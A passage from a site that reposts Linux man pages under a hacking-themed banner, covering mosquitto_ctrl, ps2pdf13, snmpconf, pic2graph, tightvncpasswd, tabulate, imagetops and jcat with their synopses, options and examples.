mosquitto_ctrl [connection-options | -o config-file] module-name module-command [command-options]

connection-options: {[-h hostname] [–unix socket path] [-p port-number] [-u username] [-P password] | -L URL} [-A bind-address] [-c] [-d] [-i client-id] [-q message-QoS] [–quiet] [-V protocol-version] [[{–cafile file | –capath dir} [–cert file] [–key file] [–ciphers ciphers] [–tls-version version] [–tls-alpn protocol] [–tls-engine engine] [–keyform {pem | engine}] [–tls-engine-kpass-sha1 kpass-sha1] [–insecure]] | [–psk hex-key –psk-identity identity [–ciphers ciphers] [–tls-version version]]] [–proxy socks-url]

mosquitto_ctrl [–help]

DESCRIPTION

mosquitto_ctrl is a tool for helping configure a Mosquitto broker instance.

ENCRYPTED CONNECTIONS

mosquitto_ctrl supports TLS encrypted connections. It is strongly recommended that you use an encrypted connection for all remote use of mosquitto_ctrl.

To enable TLS connections when using x509 certificates, one of either –cafile or –capath must be provided as an option.

To enable TLS connections when using TLS-PSK, you must use the –psk and the –psk-identity options.

MODULES

Dynamic security

Authentication, and role based access control with users and groups. Uses the dynsec module name. See: mosquitto_ctrl_dynsec(1)

External modules

mosquitto_ctrl has the ability to load external modules in the form of shared libraries. For example using the module name example will try to load the external module mosquitto_ctrl_example.so or mosquitto_ctrl_example.dll, depending on platform. This allows new functionality to be added to Mosquitto by combining a plugin and mosquitto_ctrl module, without having to recompile any Mosquitto source code.

CONNECTION OPTIONS

The options below may be given on the command line, but may also be placed in a config file located at $XDG_CONFIG_HOME/mosquitto_ctrl or $HOME/.config/mosquitto_ctrl.

The config file may be specified manually with the -o config-file option.

The config file should have one pair of -option value per line. The values in the config file will be used as defaults and can be overridden by using the command line. The exceptions to this are the message type options, of which only one can be specified. Note also that currently some options cannot be negated, e.g. -S. Config file lines that have a # as the first character are treated as comments and not processed any further.

-A

Bind the outgoing connection to a local ip address/hostname. Use this argument if you need to restrict network communication to a particular interface.

–cafile

Define the path to a file containing PEM encoded CA certificates that are trusted. Used to enable SSL communication.

See also –capath

–capath

Define the path to a directory containing PEM encoded CA certificates that are trusted. Used to enable SSL communication.

For –capath to work correctly, the certificate files must have “.crt” as the file ending and you must run “openssl rehash <path to capath>” each time you add/remove a certificate.

See also –cafile

–cert

Define the path to a file containing a PEM encoded certificate for this client, if required by the server.

See also –key.

–ciphers

An openssl compatible list of TLS ciphers to support in the client. See ciphers(1) for more information.

-d, –debug

Enable debug messages.

-D, –property

Use an MQTT v5 property with this publish. If you use this option, the client will be set to be an MQTT v5 client. This option has two forms:

-D command identifier value

-D command identifier name value

command is the MQTT command/packet identifier and can be one of CONNECT, PUBLISH, PUBREL, DISCONNECT, AUTH, or WILL. The properties available for each command are listed in the Properties section.

identifier is the name of the property to add. This is as described in the specification, but with - as a word separator. For example: payload-format-indicator. More details are in the Properties section.

value is the value of the property to add, with a data type that is property specific.

name is only used for the user-property property as the first of the two strings in the string pair. In that case, value is the second of the strings in the pair.

–help

Display usage information.

-h, –host

Specify the host to connect to. Defaults to localhost.

-i, –id

The id to use for this client. If not given, a client id will be generated depending on the MQTT version being used. For v3.1.1/v3.1, the client generates a client id in the format mosq-XXXXXXXXXXXXXXXXXX, where the X are replaced with random alphanumeric characters. For v5.0, the client sends a zero length client id, and the server will generate a client id for the client.

This option cannot be used at the same time as the –id-prefix argument.

–insecure

When using certificate based encryption, this option disables verification of the server hostname in the server certificate. This can be useful when testing initial server configurations but makes it possible for a malicious third party to impersonate your server through DNS spoofing, for example. Use this option in testing only. If you need to resort to using this option in a production environment, your setup is at fault and there is no point using encryption.

–key

Define the path to a file containing a PEM encoded private key for this client, if required by the server.

See also –cert.

–keyform

Specifies the type of private key in use when making TLS connections.. This can be “pem” or “engine”. This parameter is useful when a TPM module is being used and the private key has been created with it. Defaults to “pem”, which means normal private key files are used.

See also –tls-engine.

-L, –url

Specify specify user, password, hostname, port and topic at once as a URL. The URL must be in the form: mqtt(s)://[username[:password]@]host[:port]/topic

If the scheme is mqtt:// then the port defaults to 1883. If the scheme is mqtts:// then the port defaults to 8883.

–nodelay

Disable Nagles algorithm for the socket. This means that latency of sent messages is reduced, which is particularly noticeable for small, reasonably infrequent messages. Using this option may result in more packets being sent than would normally be necessary.

-o config-file

Provide a path to a config file to load options from. The config file should have one pair of -option value per line. The values in the config file will be used as defaults and can be overridden by using the command line. The exceptions to this are the message type options, of which only one can be specified. Note also that currently some options cannot be negated, e.g. -S. Config file lines that have a # as the first character are treated as comments and not processed any further.

-p, –port

Connect to the port specified. If not given, the default of 1883 for plain MQTT or 8883 for MQTT over TLS will be used.

-P, –pw

Provide a password to be used for authenticating with the broker. Using this argument without also specifying a username is invalid when using MQTT v3.1 or v3.1.1. See also the –username option.

–proxy

Specify a SOCKS5 proxy to connect through. “None” and “username” authentication types are supported. The socks-url must be of the form socks5h://[username[:password]@]host[:port]. The protocol prefix socks5h means that hostnames are resolved by the proxy. The symbols %25, %3A and %40 are URL decoded into %, : and @ respectively, if present in the username or password.

If username is not given, then no authentication is attempted. If the port is not given, then the default of 1080 is used.

More SOCKS versions may be available in the future, depending on demand, and will use different protocol prefixes as described in curl(1).

–psk

Provide the hexadecimal (no leading 0x) pre-shared-key matching the one used on the broker to use TLS-PSK encryption support. –psk-identity must also be provided to enable TLS-PSK.

–psk-identity

The client identity to use with TLS-PSK support. This may be used instead of a username if the broker is configured to do so.

-q, –qos

Specify the quality of service to use for messages, from 0, 1 and 2. Defaults to 1.

–quiet

If this argument is given, no runtime errors will be printed. This excludes any error messages given in case of invalid user input (e.g. using –port without a port).

–tls-alpn

Provide a protocol to use when connecting to a broker that has multiple protocols available on a single port, e.g. MQTT and WebSockets.

–tls-engine

A valid openssl engine id. These can be listed with openssl engine command.

See also –keyform.

–tls-engine-kpass-sha1

SHA1 of the private key password when using an TLS engine. Some TLS engines such as the TPM engine may require the use of a password in order to be accessed. This option allows a hex encoded SHA1 hash of the password to the engine directly, instead of the user being prompted for the password.

See also –tls-engine.

–tls-version

Choose which TLS protocol version to use when communicating with the broker. Valid options are tlsv1.3, tlsv1.2 and tlsv1.1. The default value is tlsv1.2. Must match the protocol version used by the broker.

-u, –username

Provide a username to be used for authenticating with the broker. See also the –pw argument.

–unix

Connect to a broker through a local unix domain socket instead of a TCP socket. This is a replacement for -h and -L. For example: mosquitto_ctrl –unix /tmp/mosquitto.sock …

See the socket_domain option in mosquitto.conf(5) to configure Mosquitto to listen on a unix socket.

-V, –protocol-version

Specify which version of the MQTT protocol should be used when connecting to the rmeote broker. Can be 5, 311, 31, or the more verbose mqttv5, mqttv311, or mqttv31. Defaults to 311.

PROPERTIES

The -D / –property option allows adding properties to different stages of the mosquitto_ctrl run. The properties supported for each command are as follows:

Connect

·

authentication-data (binary data - note treated as a string in mosquitto_ctrl)

·

authentication-method (UTF-8 string pair)

·

maximum-packet-size (32-bit unsigned integer)

·

receive-maximum (16-bit unsigned integer)

·

request-problem-information (8-bit unsigned integer)

·

request-response-information (8-bit unsigned integer)

·

session-expiry-interval (32-bit unsigned integer, note use -x instead)

·

topic-alias-maximum (16-bit unsigned integer)

·

user-property (UTF-8 string pair)

Publish

·

content-type (UTF-8 string)

·

correlation-data (binary data - note treated as a string in mosquitto_ctrl)

·

message-expiry-interval (32-bit unsigned integer)

·

payload-format-indicator (8-bit unsigned integer)

·

response-topic (UTF-8 string)

·

topic-alias (16-bit unsigned integer)

·

user-property (UTF-8 string pair)

Disconnect

·

session-expiry-interval (32-bit unsigned integer)

·

user-property (UTF-8 string pair)

Will properties

·

content-type (UTF-8 string)

·

correlation-data (binary data - note treated as a string in mosquitto_ctrl)

·

message-expiry-interval (32-bit unsigned integer)

·

payload-format-indicator (8-bit unsigned integer)

·

response-topic (UTF-8 string)

·

user-property (UTF-8 string pair)

·

will-delay-interval (32-bit unsigned integer)

EXIT STATUS

mosquitto_sub returns zero on success, or non-zero on error. If the connection is refused by the broker at the MQTT level, then the exit code is the CONNACK reason code. If another error occurs, the exit code is a libmosquitto return value.

MQTT v3.1.1 CONNACK codes:

·

0 Success

·

1 Connection refused: Bad protocol version

·

2 Connection refused: Identifier rejected

·

3 Connection refused: Server unavailable

·

4 Connection refused: Bad username/password

·

5 Connection refused: Not authorized

MQTT v5 CONNACK codes:

·

0 Success

·

128 Unspecified error

·

129 Malformed packet

·

130 Protocol error

·

131 Implementation specific error

·

132 Unsupported protocol version

·

133 Client ID not valid

·

134 Bad username or password

·

135 Not authorized

·

136 Server unavailable

·

137 Server busy

·

138 Banned

·

139 Server shutting down

·

140 Bad authentication method

·

141 Keep alive timeout

·

142 Session taken over

·

143 Topic filter invalid

·

144 Topic name invalid

·

147 Receive maximum exceeded

·

148 Topic alias invalid

·

149 Packet too large

·

148 Message rate too high

·

151 Quota exceeded

·

152 Administrative action

·

153 Payload format invalid

·

154 Retain not supported

·

155 QoS not supported

·

156 Use another server

·

157 Server moved

·

158 Shared subscriptions not supported

·

159 Connection rate exceeded

·

160 Maximum connect time

·

161 Subscription IDs not supported

·

162 Wildcard subscriptions not supported

BUGS

mosquitto bug information can be found at https://github.com/eclipse/mosquitto/issues

SEE ALSO

mqtt(7), mosquitto_rr(1), mosquitto_pub(1), mosquitto_sub(1), mosquitto(8), libmosquitto(3), mosquitto-tls(7)

AUTHOR

Roger Light <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2004 - Linux cli command ps2pdf13

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ps2pdf13 and provides detailed information about the command ps2pdf13, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ps2pdf13.

NAME 🖥️ ps2pdf13 🖥️

Convert PostScript to PDF using ghostscript
ps2pdf12 - Convert PostScript to PDF 1.2 (Acrobat 3-and-later compatible) using ghostscript
ps2pdf13 - Convert PostScript to PDF 1.3 (Acrobat 4-and-later compatible) using ghostscript
ps2pdf14 - Convert PostScript to PDF 1.4 (Acrobat 5-and-later compatible) using ghostscript

SYNOPSIS

ps2pdf [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf12 [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf13 [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf14 [options…] {input.[e]ps|-} [output.pdf|-]

DESCRIPTION

The ps2pdf scripts are work-alikes for nearly all the functionality (but not the user interface) of Adobe’s Acrobat(TM) Distiller(TM) product: they convert PostScript files to Portable Document Format (PDF) files.

If the output filename is not specified, the output is placed in a file of the same name with a ‘.pdf’ extension in the current working directory. Either the input filename or the output filename can be ‘-’ to request reading from stdin or writing to stdout, respectively, when used as a filter.

The three scripts differ as follows:

  • ps2pdf12 will always produce PDF 1.2 output (Acrobat 3-and-later compatible).

  • ps2pdf13 will always produce PDF 1.3 output (Acrobat 4-and-later compatible).

  • ps2pdf14 will always produce PDF 1.4 output (Acrobat 5-and-later compatible).

  • ps2pdf per se currently produces PDF 1.4 output. However, this may change in the future. If you care about the compatibility level of the output, use ps2pdf12, ps2pdf13 or ps2pdf14, or use the -dCompatibilityLevel=1.x switch in the command line.

There are some limitations in ps2pdf’s conversion. See the HTML documentation for more information. A large number of Adobe Distiller(TM) parameters which can be used to control the conversion are also documented there, including instructions for generating PDF/X and PDF/A documents.

OPTIONS

The ps2pdf scripts use the same options as gs(1).

EXAMPLES

Converting a figure.ps to figure.pdf:

ps2pdf figure.ps

A conversion with more specifics:

ps2pdf -dPDFSETTINGS=/prepress figure.ps proof.pdf

Converting as part of a pipe:

make_report.pl -t ps | ps2pdf -dCompatibilityLevel=1.3 - - | lpr

SEE ALSO

gs(1), ps2pdfwr(1),
VectorDevices.htm in the Ghostscript documentation

BUGS

See http://bugs.ghostscript.com/ and the Usenet news group comp.lang.postscript.

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2005 - Linux cli command snmpconf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpconf and provides detailed information about the command snmpconf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpconf.

NAME 🖥️ snmpconf 🖥️

creates and modifies SNMP configuration files

SYNOPSIS

snmpconf [OPTIONS] [fileToCreate]

Start with:
snmpconf -g basic_setup

Or even just:
snmpconf

DESCRIPTION

snmpconf is a simple Perl script that walks you through setting up a configuration file step by step. It should be fairly straight forward to use. Merely run it and answer its questions.

In its default mode of operation, it prompts the user with menus showing sections of the various configuration files it knows about. When the user selects a section, a sub-menu is shown listing of the descriptions of the tokens that can be created in that section. When a description is selected, the user is prompted with questions that construct the configuration line in question.

Finally, when the user quits the program any configuration files that have been edited by the user are saved to the local directory, fully commented.

A particularly useful option is the -g switch, which walks a user through a specific set of configuration questions. Run:

snmpconf -g basic_setup

for an example.

OPTIONS

-f
Force overwriting existing files in the current directory without prompting the user if this is a desired thing to do.

-i
When finished, install the files into the location where the global system commands expect to find them.

-p
When finished, install the files into the users home directory’s .snmp subdirectory (where the applications will also search for configuration files).

-I* DIRECTORY*
When finished, install the files into the directory DIRECTORY.

-a
Don’t ask any questions. Simply read in the various known configuration files and write them back out again. This has the effect of “auto-commenting” the configuration files for you. See the NEAT TRICKS section below.

-rall|none
Read in either all or none of the found configuration files. Normally snmpconf prompts you for which files you wish to read in. Reading in these configuration files will merge these files with the results of the questions that it asks of you.

-R* FILE,…*
Read in a specific list of configuration files.

-g* GROUPNAME*
Groups of configuration entries can be created that can be used to walk a user through a series of questions to create an initial configuration file. There are no menus to navigate, just a list of questions. Run:

snmpconf -g basic_setup

for a good example.

-G
List all the known groups.

-c* CONFIGDIR*
snmpconf uses a directory of configuration information to learn about the files and questions that it should be asking. This option tells snmpconf to use a different location for configuring itself.

-q
Run slightly more quietly. Since this is an interactive program, I don’t recommend this option since it only removes information from the output that is designed to help you.

-d
Turn on lots of debugging output.

-D
Add even more debugging output in the form of Perl variable dumps.

NEAT TRICKS

snmpconf -g basic_setup
Have I mentioned this command enough yet? It’s designed to walk someone through an initial setup for the snmpd(8) daemon. Really, you should try it.

snmpconf -R /usr/local/snmp/snmpd.conf -a -f snmpd.conf
Automatically reads in an snmpd.conf file (for example) and adds comments to them describing what each token does. Try it. It’s cool.

NOTES

snmpconf is actually a very generic utility that could be easily configured to help construct just about any kind of configuration file. Its default configuration set of files are SNMP based.

SEE ALSO

snmpd(8), snmp_config(5), snmp.conf(5), snmpd.conf(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2006 - Linux cli command pic2graph

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pic2graph and provides detailed information about the command pic2graph, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pic2graph.

Name

pic2graph - convert a pic diagram into a cropped image

Synopsis

pic2graph [-unsafe] [-format ** output-format] [-eqn ** delimiters] [convert-argument . . .] pic2graph –help pic2graph -v pic2graph –version

Description

pic2graph reads a

program from the standard input and writes an image file, by default in Portable Network Graphics (PNG) format, to the standard output. It furthermore translates

constructs, so it can be used for generating images of mathematical formulae.

The input PIC code should not be wrapped with the .PS and .PE/.PF macros that normally guard it within

documents.

Arguments not recognized by pic2graph are passed to the ImageMagick or GraphicsMagick program

By specifying these, you can give your image a border, set the image’s pixel density, or perform other useful transformations.

The output image is clipped using convert’s -trim option to the smallest possible bounding box that contains all the black pixels.

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

**-eqn **delimiters
Use delimiters as the opening and closing characters that delimit eqn directives; the default is “$$”. The option argument delimiters should be a two-character string, but an empty string ("") is accepted as a directive to disable eqn processing.

**-format **output-format
Write the image in output-format, which must be understood by convert; the default is PNG.

-unsafe
Run groff in unsafe mode, enabling the PIC command sh to execute arbitrary Unix shell commands. The groff default is to forbid this.

Environment

GROFF_TMPDIR
TMPDIR
TMP
TEMP
These environment variables are searched in the given order to determine the directory where temporary files will be created. If none are set, /tmp is used.

Authors

pic2graph was written by Eric S. Raymond, based on a recipe by W. Richard Stevens.

See also

W. Richard Stevens,

Turning PIC into HTML

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2007 - Linux cli command tightvncpasswd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tightvncpasswd and provides detailed information about the command tightvncpasswd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tightvncpasswd.

NAME 🖥️ tightvncpasswd 🖥️

set passwords for VNC server

SYNOPSIS

vncpasswd [ file ]
vncpasswd -t
vncpasswd -f

DESCRIPTION

The vncpasswd utility should be used to create and change passwords for the TightVNC server authentication. Xvnc uses such passwords when started with the -rfbauth command-line option (or when started from the vncserver script).

vncpasswd allows one to enter either one or two passwords. The first password is the primary one, the second password can be used for view-only authentication. Xvnc will restrict mouse and keyboard input from clients who authenticated with the view-only password. The vncpasswd utility asks interactively if it should set the second password.

The password file name defaults to $HOME/.vnc/passwd unless the -t command-line option was used (see the OPTIONS section below). The $HOME/.vnc/ directory will be created if it does not exist.

Each password has to be longer than five characters (unless the -f command-line option was used, see its description below). Only the first eight characters are significant. If the primary password is too short, the program will abort. If the view-only password is too short, then only the primary password will be saved.

Unless a file name was provided in the command-line explicitly, this utility may perform certain sanity checks to prevent writing a password file into some hazardous place.

If at least one password was saved successfully, vncpasswd will exit with status code 0. Otherwise the returned status code will be set to 1.

OPTIONS

-t
Write passwords into /tmp/$USER-vnc/passwd, creating the /tmp/$USER-vnc/ directory if it does not exist, and checking the permissions on that directory (the mode must be 700). This option can help to improve security when your home partition may be shared via network (e.g. when using NFS).

-f
Filter mode. Read plain-text passwords from stdin, write encrypted versions to stdout. One or two passwords (full-control and view-only) can be supplied in the input stream, newline terminates a password. Note that in the filter mode, short or even empty passwords will be silently accepted.

SEE ALSO

vncserver(1), Xvnc(1), vncviewer(1), vncconnect(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Marcus Brinkmann <[email protected]>,
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2008 - Linux cli command tabulate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tabulate and provides detailed information about the command tabulate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tabulate.

NAME 🖥️ tabulate 🖥️

Pretty-print tabulate data.

SYNOPSIS

tabulate [options] [FILE …]

DESCRIPTION

See also <https://github.com/astanin/python-tabulate>.

OPTIONS

-h, –help
show this message.

-1, –header
use the first row of data as a table header

-o FILE, –output FILE
print table to FILE (default: stdout)

-s REGEX, –sep REGEX
use a custom column separator (default: whitespace)

-F FPFMT, –float FPFMT
floating point number format (default: g)

-f FMT, –format FMT
set output table format; supported formats: plain, simple, grid, fancy_grid, pipe, orgtbl, rst, mediawiki, html, latex, latex_booktabs, tsv (default: simple)

AUTHOR

This manual page was written by ChangZhuo Chen <[email protected]> for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2009 - Linux cli command imagetops

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command imagetops and provides detailed information about the command imagetops, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the imagetops.

NAME 🖥️ imagetops 🖥️

generic image to ps filter

SYNOPSIS

imagetops [-gray] [arguments for pnmtops] [filename]

DESCRIPTION

imagetops is a generic image to ps filter. It can be used as print filter in KDE.

imagetops works in two steps:

the given file is converted to PNM format by analyzing the file format and calling the appropriate conversion program.

the file in PNM format is converted to PS format by calling pnmtops.

The supported mime types are: jpeg, png, x-png, bmp, x-bmp, gif and tiff.

imagetops supports reading the parameters via stdin. A temporary file in $TMPDIR (or /tmp if unset) is created then.

OPTIONS

Options:

-gray
convert image to grayscale

Arguments:

arguments for pnmtops
arguments passed to pnmtops

filename
image file to convert

SEE ALSO

bmptoppm(1), giftopnm(1), jpegtopnm(1), pngtopnm(1), ppmtopgm(1), pnmtops(1)

AUTHORS

The KDE project

Please use http://bugs.kde.org to report bugs.

This manual page was written by Holger Hartmann <[email protected]> for the Debian Project (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation.

On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2010 - Linux cli command jcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jcat and provides detailed information about the command jcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jcat.

NAME 🖥️ jcat 🖥️

Show the contents of a block in the file system journal.

SYNOPSIS

jcat [-f fstype ] [-vV] [-i imgtype] [-o imgoffset] [-b dev_sector_size] image [images] ] [ inode ] jblk

DESCRIPTION

jcat shows the contents of a journal block in the file system journal. The inode address of the journal can be given or the default location will be used. Note that the block address is a journal block address and not a file system block. The raw output is given to STDOUT.

ARGUMENTS

-f fstype
Specify the file system type. Use ‘-f list’ to list the supported file system types. If not given, autodetection methods are used.

-i imgtype
Identify the type of image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-o imgoffset
The sector offset where the file system starts in the image.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-V
Display version

-v
verbose output

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

[inode]
The inode where the file system journal can be found.

jblk
The journal block to display.

EXAMPLES

jcat -f linux-ext3 img.dd 34 | xxd

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
